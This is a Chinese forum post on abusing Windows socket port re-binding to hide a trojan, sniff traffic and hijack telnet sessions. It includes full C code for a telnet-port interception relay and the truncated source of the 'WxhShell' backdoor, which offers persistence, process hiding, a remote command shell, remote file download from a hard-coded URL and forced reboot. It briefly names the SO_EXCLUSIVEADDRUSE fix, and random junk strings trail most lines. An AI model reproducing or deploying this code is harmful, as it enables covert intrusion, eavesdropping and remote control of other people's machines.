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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pTprU)sa7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?y>P  
Y]Vt&*{JV  
  saddr.sin_family = AF_INET; O7g ?x3  
CJz2.yd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K``MS  
]EnB`g(4;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4;<?ec(dc  
Z[)t34EY"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D\}^<HW  
Qo4]_,kR  
  这意味着什么?意味着可以进行如下的攻击: Q]S~H+eRy  
blpX_N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P%8 Gaa=  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ONH!ms(kb  
yS[:C 2v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4c_TrNwP  
g j8rrd |  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )D{L<.i_  
({v$!AAv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MCZTeYnx  
64%P}On  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f*,jhJ_I  
$A;jl`ng  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $5yH(Z[[  
4w\ r `@  
  #include $sTbFY  
  #include N7Kq$G2O  
  #include JR8 b[Oj.S  
  #include    "1FPe63\*O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VCSHq&p8  
  int main() Hbu8gqu  
  { X;lL$  
  WORD wVersionRequested; t~H'Ugv^  
  DWORD ret; ##+|zka!U  
  WSADATA wsaData; Ls< ";QJc  
  BOOL val; QkS~~|0EI>  
  SOCKADDR_IN saddr; GvSSi'q~B  
  SOCKADDR_IN scaddr; #tg,%*.s  
  int err; 9>yLSM,!rS  
  SOCKET s; N[~{'i  
  SOCKET sc; ?oana%  
  int caddsize; AFE6@/'  
  HANDLE mt; _0N=~`'  
  DWORD tid;   UF0W%Z  
  wVersionRequested = MAKEWORD( 2, 2 ); 6_]-&&Nr  
  err = WSAStartup( wVersionRequested, &wsaData ); ZG[P?fM  
  if ( err != 0 ) { $0$'co"  
  printf("error!WSAStartup failed!\n"); *`2.WF@E)  
  return -1; r<VZE bm)  
  } &|yQwNA*a"  
  saddr.sin_family = AF_INET; 3 <}\{jT  
   %IrR+f+H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QZ?#ixvJ  
2;Vss<hR4A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l r80RL'_  
  saddr.sin_port = htons(23); /kV3[Rw+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [Jv0^"]  
  { JjA3G`m=  
  printf("error!socket failed!\n"); E Q 'L"  
  return -1; B7 PkCS&X  
  } I><B6pIR  
  val = TRUE; Hdvtgss!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t/55tL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sZe$?k|  
  { 8(-V pU  
  printf("error!setsockopt failed!\n"); f@S n1c,Mk  
  return -1; >QyJRMY  
  } w-iu/|}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :rxS &5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 be?>C 5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {1?94rz  
-55[3=#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UWU(6J|Fk  
  { eTg8I/ )%B  
  ret=GetLastError(); di.yh3N$  
  printf("error!bind failed!\n"); o>|&k]W/  
  return -1; d}D%%noIu  
  } pK`1pfih  
  listen(s,2);  NOY`1i  
  while(1) (rKyX:Vsy  
  { y;Ez|MS   
  caddsize = sizeof(scaddr); >+ ,w2m@0  
  //接受连接请求 U ?iw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w8=&rzr8  
  if(sc!=INVALID_SOCKET) gB7kb$J  
  { ))T@U?r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]MD,{T9l\>  
  if(mt==NULL) UY>[  
  { k1lo{jw`  
  printf("Thread Creat Failed!\n"); {6 #Qm7s-  
  break; bG0 |+k3O  
  } aE|'%72g  
  } cNbH:r"Ay  
  CloseHandle(mt); [8C|v61Y  
  } tIK`/)w,  
  closesocket(s); \;XDPC j  
  WSACleanup(); &}'FC7}  
  return 0; 9Lus,l\  
  }   ]& 8c 45c  
  DWORD WINAPI ClientThread(LPVOID lpParam) J.E Bt3  
  { mkE_ a>  
  SOCKET ss = (SOCKET)lpParam; 1Kjqs)p^  
  SOCKET sc; 45.<eWH$*(  
  unsigned char buf[4096]; A<h^.{  
  SOCKADDR_IN saddr; Vc[aNpE  
  long num; l4s*+H$vd?  
  DWORD val; r` B(ucE  
  DWORD ret; sX@}4[)<&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1Clid\T,o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?rm3Iac0S  
  saddr.sin_family = AF_INET; ( ]E0fjk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /0Jf/-}ovn  
  saddr.sin_port = htons(23); vAh'6Ob7r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a8WWFAC[  
  { [psZc'q  
  printf("error!socket failed!\n"); z @g%9 |U  
  return -1; (ZPl~ZO  
  } c@E;v<r'  
  val = 100; 0 k.\o"y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eo@kn yA<&  
  { 4wMZNa<Sx  
  ret = GetLastError();  )[S#:PP  
  return -1; ["O_ Phb|  
  } o%b6"_~%3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lfAiW;giJ  
  { /[=Yv!  
  ret = GetLastError(); E^iShe  
  return -1; wBWqibY|  
  } o;9 G{Xj3@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %G|Rb MP  
  { 1> v(&;K  
  printf("error!socket connect failed!\n"); D6dliU?k  
  closesocket(sc); M }! qH.W  
  closesocket(ss); y7t'I.E[+  
  return -1; \#h{bnx  
  } PNz]L  
  while(1) ?8do4gT+1  
  { EI9;J-c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -Qn l)JB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pO/vD~C>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LOgFi%!6:  
  num = recv(ss,buf,4096,0); }4g$ aTc  
  if(num>0) $bDaZGy  
  send(sc,buf,num,0); 5hHLC7tT9  
  else if(num==0) yH(3 m#  
  break; ?y]R /?  
  num = recv(sc,buf,4096,0); RWRqu }a  
  if(num>0) D^QL.Du,  
  send(ss,buf,num,0); r$1b=m,0d  
  else if(num==0) YQ@2p?4m  
  break; oTRid G  
  } TI}a$I*  
  closesocket(ss); A^E 6)A=  
  closesocket(sc); [8<0Q_?,  
  return 0 ; y"Pd>61h  
  } )7{r8a  
Z l;TS%$  
 m^\&v0  
========================================================== ,1g_{dMx  
>=d 5Scix  
下边附上一个代码,,WXhSHELL F [Lg,}  
I94-#*~I  
========================================================== ^9`|QF  
gAh#H ?MM  
#include "stdafx.h" 3GNcnb  
g${JdxR:  
#include <stdio.h> ?yxQs=&-q~  
#include <string.h> _R(9O?;q  
#include <windows.h> Q_Br{ `c  
#include <winsock2.h> ^D]J68)#a  
#include <winsvc.h> /N({"G'  
#include <urlmon.h> S[gACEZ =  
W':b6}?  
#pragma comment (lib, "Ws2_32.lib") }VRl L>HAC  
#pragma comment (lib, "urlmon.lib") uts>4r>+  
: h(Z\D_  
#define MAX_USER   100 // 最大客户端连接数 1l/t|M^I  
#define BUF_SOCK   200 // sock buffer DSRmFxkk  
#define KEY_BUFF   255 // 输入 buffer Z)IF3{*  
+~BP~  
#define REBOOT     0   // 重启 _-sFJi8B  
#define SHUTDOWN   1   // 关机 IBvn q8\  
3;FV^V'  
#define DEF_PORT   5000 // 监听端口 MD*dq  
ZPY&q&R  
#define REG_LEN     16   // 注册表键长度 BG8/  
#define SVC_LEN     80   // NT服务名长度 98)C 7N'  
2X[oge0@  
// 从dll定义API ]v0Z[l>yf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q2r$j\L%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yoJ.[M4q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZDAW>H<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }zS5o [OE  
g1?9ge 1  
// wxhshell配置信息 *`|xa@1v`  
struct WSCFG { /Wcx%P  
  int ws_port;         // 监听端口 O) TS$  
  char ws_passstr[REG_LEN]; // 口令 z;dRzwL  
  int ws_autoins;       // 安装标记, 1=yes 0=no K3<A<&W_-  
  char ws_regname[REG_LEN]; // 注册表键名 \EU^`o+  
  char ws_svcname[REG_LEN]; // 服务名 x@QNMK.7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _G-y{D_S&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #Q)r6V:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _yUYEq<`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s*_fRf:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ue60Mf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |`Noj+T47I  
"/RMIS K[;  
}; AD^I1 ]2f  
c|`$ h  
// default Wxhshell configuration Zhv%mUj~  
struct WSCFG wscfg={DEF_PORT, kxd*B P  
    "xuhuanlingzhe", tk*-Cx?_  
    1, i\l}M]Z#  
    "Wxhshell", me{u~9&  
    "Wxhshell", A6 .wXv,  
            "WxhShell Service", ,Pcg+^A  
    "Wrsky Windows CmdShell Service", .4U*.Rf  
    "Please Input Your Password: ", [>r0 (x&.  
  1, `Fo/RZOW  
  "http://www.wrsky.com/wxhshell.exe", 4bp})>}jB  
  "Wxhshell.exe" oQ,<Yx%E3  
    }; >$9}"  
OA=~ i/n~  
// 消息定义模块 wBwTJCX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9( q(;|;Hp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3(\D.Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rD4 umWi  
char *msg_ws_ext="\n\rExit."; f+hHc8g  
char *msg_ws_end="\n\rQuit."; G"E_4YkJ  
char *msg_ws_boot="\n\rReboot..."; hm d3W`8D  
char *msg_ws_poff="\n\rShutdown..."; |idw?qCn  
char *msg_ws_down="\n\rSave to "; d)bsyZ;U  
7L6L{~8 W  
char *msg_ws_err="\n\rErr!"; mICEJ\`x  
char *msg_ws_ok="\n\rOK!"; +)WU:aKI  
[2Zy~`*y{  
char ExeFile[MAX_PATH]; jq*`| m;Q  
int nUser = 0; !rr,(!Ip?O  
HANDLE handles[MAX_USER]; 72"H#dy%U  
int OsIsNt; )MK $E,W  
Tn1V+)  
SERVICE_STATUS       serviceStatus; N'9T*&o+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1w(3!Ps+  
AQ@)'  
// 函数声明 p> >H$t  
int Install(void); c+e?xXCEAz  
int Uninstall(void); 5!fYTo|G>  
int DownloadFile(char *sURL, SOCKET wsh); RPgz"-  
int Boot(int flag); +llb{~ZN  
void HideProc(void); CN:T$ f|)  
int GetOsVer(void); 6V]m0{:E  
int Wxhshell(SOCKET wsl); bI|G %  
void TalkWithClient(void *cs); th[v"qD9G  
int CmdShell(SOCKET sock); t~j 6wsx;  
int StartFromService(void); l7qW)<r  
int StartWxhshell(LPSTR lpCmdLine); mu@J$\   
N;'c4=M~(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CAC4A   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S\N1qux{  
n.2:fk  
// 数据结构和表定义 gh ?[x.U  
SERVICE_TABLE_ENTRY DispatchTable[] = > B@c74  
{ ./k7""4   
{wscfg.ws_svcname, NTServiceMain}, q0VAkVHw4  
{NULL, NULL} <JWU@A-.y  
}; {@)ZXg  
U?:P7YWy  
// 自我安装 X\ P%C  
int Install(void) 7GsKD=bl]  
{ |_TI/i>?'  
  char svExeFile[MAX_PATH]; s__xBY  
  HKEY key; mXp#6'a  
  strcpy(svExeFile,ExeFile); zG6l8%q'UE  
bc'IoD/  
// 如果是win9x系统,修改注册表设为自启动 s{'Sl{-Eu  
if(!OsIsNt) { b/:wpy+9Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e7@ m i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (b f IS  
  RegCloseKey(key); }`<&l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WSH[*jMA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); . &j+&  
  RegCloseKey(key); .5G`Y  
  return 0; K9k!P8Rd  
    } ~h3G}EH  
  } ErK1j  
} :,JaOn'  
else { r3g^ 0|)  
PO"lY'W.U  
// 如果是NT以上系统,安装为系统服务 nTr%S&<+"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W"vLCHTh  
if (schSCManager!=0) 49QsT5b)  
{ ~hvj3zC5xz  
  SC_HANDLE schService = CreateService BeVDTk :  
  ( ?lsK?>uU  
  schSCManager, IHO*%3mA/  
  wscfg.ws_svcname, Bgm8IK)6  
  wscfg.ws_svcdisp, cr!W5+r  
  SERVICE_ALL_ACCESS, Qi`3$<W>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /Pg)7Zn  
  SERVICE_AUTO_START, 0AQ4:KV(Y  
  SERVICE_ERROR_NORMAL, [_)`G*X(N  
  svExeFile, ~o^|>]  
  NULL, fAULuF  
  NULL, k=mQG~  
  NULL, J.1 c,@  
  NULL, ^}-l["u`  
  NULL _:m70%i  
  ); .pUB.l$)  
  if (schService!=0) Jj \ nye+  
  { PF`uwx@zH  
  CloseServiceHandle(schService); ES+ CAwqf  
  CloseServiceHandle(schSCManager); ZTzec zXpQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~][~aEat;V  
  strcat(svExeFile,wscfg.ws_svcname); ;]-08lzO<4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aA|{r/.10K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OCx'cSs-=  
  RegCloseKey(key); $k\bP9  
  return 0; g9pKoi|\E  
    } F6q=W#~  
  } J=3{<Xl  
  CloseServiceHandle(schSCManager); @n)? =[p  
} L }*o8l`  
} uy<3B>3~.  
m0bxVV^DK!  
return 1; >`x|E-X"  
} 7p.8{zQ*  
Z?o0Q\ }1  
// 自我卸载 y$R8J:5f  
int Uninstall(void) B46:LQ9[  
{ e`4mrBtz|  
  HKEY key; %HG+ |)b  
Cb+sE"x]  
if(!OsIsNt) { ]eGa_Ld  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3%)cUkD  
  RegDeleteValue(key,wscfg.ws_regname); nnPT08$  
  RegCloseKey(key); K:U=Y$x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *1dZs~_  
  RegDeleteValue(key,wscfg.ws_regname); $l7}e=1  
  RegCloseKey(key); SSF:PTeG>  
  return 0; eV?%3h.   
  } j-1V,V=  
} |-=-/u1  
} jI8`trD  
else { PL= v,NB  
^ `yhN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,5c7jZ5H  
if (schSCManager!=0) wnX;eU/n  
{ QgU]3`z"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nr]=O`Mvh  
  if (schService!=0) Ms6 ;iW9  
  { )isS^O$qH  
  if(DeleteService(schService)!=0) { _K#7#qp2  
  CloseServiceHandle(schService); _ooHB>sH  
  CloseServiceHandle(schSCManager); Ja3#W K  
  return 0; l5w^rj  
  } Ye On   
  CloseServiceHandle(schService); !6|_`l>G,  
  } e2=}qE7  
  CloseServiceHandle(schSCManager); PJB_"?NTTC  
} \ *CXXp`  
} @-)S*+8  
_]*[TGap  
return 1; \/1~5mQ+  
} qY-aR;  
"T5jz#H#/  
// 从指定url下载文件 @~2k5pa  
int DownloadFile(char *sURL, SOCKET wsh) mfZbo#KS#v  
{ l#cVQ_^"  
  HRESULT hr; KN_n:`cH{  
char seps[]= "/"; O])vR<[  
char *token; R,D/:k'~k  
char *file; +iN!$zF5]  
char myURL[MAX_PATH]; 0i[t[_sce  
char myFILE[MAX_PATH]; D7pQWlN\  
> U3>I^Y  
strcpy(myURL,sURL); gs1  
  token=strtok(myURL,seps); 5L6.7}B  
  while(token!=NULL) aEdMZ+P.  
  { MDa[bQ NM  
    file=token; }%wP^6G*x\  
  token=strtok(NULL,seps);  P:6K  
  } =z5=?  
#p=+RTZ<  
GetCurrentDirectory(MAX_PATH,myFILE); # d"M(nt  
strcat(myFILE, "\\"); rMG[,:V  
strcat(myFILE, file); WuVsW3@  
  send(wsh,myFILE,strlen(myFILE),0); hlyh8=Z6o  
send(wsh,"...",3,0); GX19GI@k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3 a(SmM:  
  if(hr==S_OK) B_Wig2xH0  
return 0; !pe[H*Cy  
else |qpm  
return 1; P `<TO   
n)cc\JPQ  
} 1;./e&%%  
+ ,]&&  
// 系统电源模块 6R m dt  
int Boot(int flag) :OU(fz]  
{ Pi[]k]XA\  
  HANDLE hToken; 0F!Uai1  
  TOKEN_PRIVILEGES tkp; $igMk'%Nmb  
rfdA?X{Q0  
  if(OsIsNt) { MeV4s%*O+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZyU/ .Uk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ([JFX@  
    tkp.PrivilegeCount = 1; :1'1 n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k!qOE\%B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tF*Sg{:bCa  
if(flag==REBOOT) { ( K-7z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6UN{Vjr%`  
  return 0; L) _ VdB  
} E]{0lG`l  
else { ! , ]Fx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !N:w?zsp  
  return 0; ~Gg19x.#uW  
} %D7^.  
  } {>R933fap  
  else { `T2DGv  
if(flag==REBOOT) { %RIu'JXi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Zjc/GO  
  return 0; UHl1>(U  
} F":dS-u&L  
else { h9A=20fj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `ER#S_}  
  return 0; Oa5-^&I  
} O>wGJ.  
} kYS\TMt,C  
EA:_PBZ  
return 1; y(Pv1=e  
} Pw Amnk !  
IOrYm  
// win9x进程隐藏模块 {yBd{x<>/  
void HideProc(void) } F*=+n  
{ U$ZbBVa`~  
"g!/^A!!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y^?PHz'Go  
  if ( hKernel != NULL ) 3z 5"Ckzb  
  { fb]=MoiJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z_&T>ME  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w/0;N`YB  
    FreeLibrary(hKernel); %eu_Pr6X  
  } n u>6UjV  
-fz(]d  
return; j;rxr1+w  
} ~bjT,i  
v@!r$jZ  
// 获取操作系统版本 # b= *hi`E  
int GetOsVer(void) ^F"eHUg  
{ n{F&GE="  
  OSVERSIONINFO winfo; GsWf$/iC:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `? f sU  
  GetVersionEx(&winfo); $)O\i^T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) # f{L;  
  return 1; wlX K2D  
  else QRY7ck:N  
  return 0; u bi6=  
} hcD.-(-;)  
^6^A/]v  
// 客户端句柄模块 4kLTKm:G  
int Wxhshell(SOCKET wsl) Q mz3GH@wg  
{ *5'l"YQ@1  
  SOCKET wsh; E+aE5wmr  
  struct sockaddr_in client; FwSV \N+#'  
  DWORD myID; m3b?f B  
B\7 80p<  
  while(nUser<MAX_USER) h6gtO$A|p=  
{ =hKu85  
  int nSize=sizeof(client); O$& 4{h`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {$-\)K  
  if(wsh==INVALID_SOCKET) return 1; ZP7wS  
{[FJkP2l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !% yd'"6Dl  
if(handles[nUser]==0) T+<OlXpL  
  closesocket(wsh); ZltY_5l  
else E@ !~q  
  nUser++; 6?jSe<4x  
  } H Ff9^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,Z]4`9c  
xXc3#n  
  return 0; "/U~j4O  
} ;!N_8{ 7r  
xHdv?69,  
// 关闭 socket 2Y{r2m|o  
void CloseIt(SOCKET wsh) N u9+b"Wr  
{ lF1ieg"i M  
closesocket(wsh); q1o)l  
nUser--; |-k~Fa  
ExitThread(0); bG9$&,  
} V4 Wn  
0--0+?  
// 客户端请求句柄 * d[sja+  
void TalkWithClient(void *cs) l ilF _ y  
{ I!-5 #bxD  
}>u<,  
  SOCKET wsh=(SOCKET)cs; .1& F p  
  char pwd[SVC_LEN]; cn!Y7LVr  
  char cmd[KEY_BUFF]; O_wRI\ !  
char chr[1]; :>otlI<0t  
int i,j; 'gwh:8Xc  
<swY o<?J#  
  while (nUser < MAX_USER) { 5%Q[X  
/WKp\r(Hp  
if(wscfg.ws_passstr) { !NFP=m1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @=1kr ^i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 86\B|!   
  //ZeroMemory(pwd,KEY_BUFF); LK[%}2me  
      i=0; A `n:q;my  
  while(i<SVC_LEN) { O(QJiS  
m2$Qp{C6H  
  // 设置超时 {n>W8sN<  
  fd_set FdRead; UN*XLHio  
  struct timeval TimeOut; j8ebVq  
  FD_ZERO(&FdRead); *b0f)y3RV  
  FD_SET(wsh,&FdRead); .)eX(2j\  
  TimeOut.tv_sec=8; j;']L}R  
  TimeOut.tv_usec=0; <+c6CM$#}V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :X6A9jmd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f}>S"fFI  
kdry a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [8QE}TFic  
  pwd=chr[0]; jFBnP,WQ  
  if(chr[0]==0xd || chr[0]==0xa) { FWbA+{8  
  pwd=0; xc+h Fx  
  break; 7Q9zEd" d  
  } b 64~Y|8  
  i++; 2x7%6'  
    } Qm\VZ<6/5  
G_] (7  
  // 如果是非法用户,关闭 socket E|Lv_4lb=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3%W R  
} c*g(R.!  
!Z6GID})p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LAwl9YnG:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "K8<X  
M/,jHG8v  
while(1) { Px)/`'D  
>Cjb|f3'i}  
  ZeroMemory(cmd,KEY_BUFF); &\0`\#R  
? N|B,F  
      // 自动支持客户端 telnet标准   y^oSVj  
  j=0; e>kw>%3bl9  
  while(j<KEY_BUFF) { :h&*<!O2B`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ci^+T *  
  cmd[j]=chr[0]; J8x>vC  
  if(chr[0]==0xa || chr[0]==0xd) { /L1qdkG  
  cmd[j]=0; ~ 0x9`~  
  break; WJ+<&6W8  
  } P==rY5+s`  
  j++; '%>$\Lv  
    } K/y#hP  
#n'tpp~O  
  // 下载文件 @Kd lX>i  
  if(strstr(cmd,"http://")) { TY,w3E_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U&6!2s-  
  if(DownloadFile(cmd,wsh)) TWC^M{e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #GYCU!  
  else [Uezi1I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ #C$V>  
  } !5}Ibb  
  else { X }yEMe{T  
?.:C+*+  
    switch(cmd[0]) { 3`&2 -  
  7 3k3(rZ  
  // 帮助 Aov=qLWJ  
  case '?': { l|fOi A*K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +[JGi"ca  
    break; 6M"]p  
  } @>J4K#"  
  // 安装 :Q\b$=,:  
  case 'i': { w$7*za2  
    if(Install()) 4b8!LzKS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n2R{$^JxO  
    else Frt_X%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G Cx]VN3 &  
    break; <BQ4x.[  
    } aF$HF;-y  
  // 卸载 x~}RL-Y2o  
  case 'r': { D a)[mxJ  
    if(Uninstall()) W:P4XwR{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4ow)vS(  
    else <Ja>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {vAq08  
    break; abtAkf  
    } 4.7ePbk[E  
  // 显示 wxhshell 所在路径 s} ,p>8  
  case 'p': { "!gd)^<e  
    char svExeFile[MAX_PATH]; C}+w<  
    strcpy(svExeFile,"\n\r"); UR?[ba_h   
      strcat(svExeFile,ExeFile); ;y?,myO  
        send(wsh,svExeFile,strlen(svExeFile),0); J;+iW*E:  
    break; ;t@zH+*}  
    } oa+Rr&t'  
  // 重启 W\zg#5fmK  
  case 'b': { GLL,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *;O$=PE  
    if(Boot(REBOOT)) dapQ5JT/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RNiZ2:  
    else { (hVhzw"~  
    closesocket(wsh); \<~[uv'  
    ExitThread(0); Ud:v3"1  
    } APuG8 <R,  
    break; 8(D>ws$  
    } Rw*l#cr=.  
  // 关机 4_`+&  
  case 'd': { ycRy! 0l  
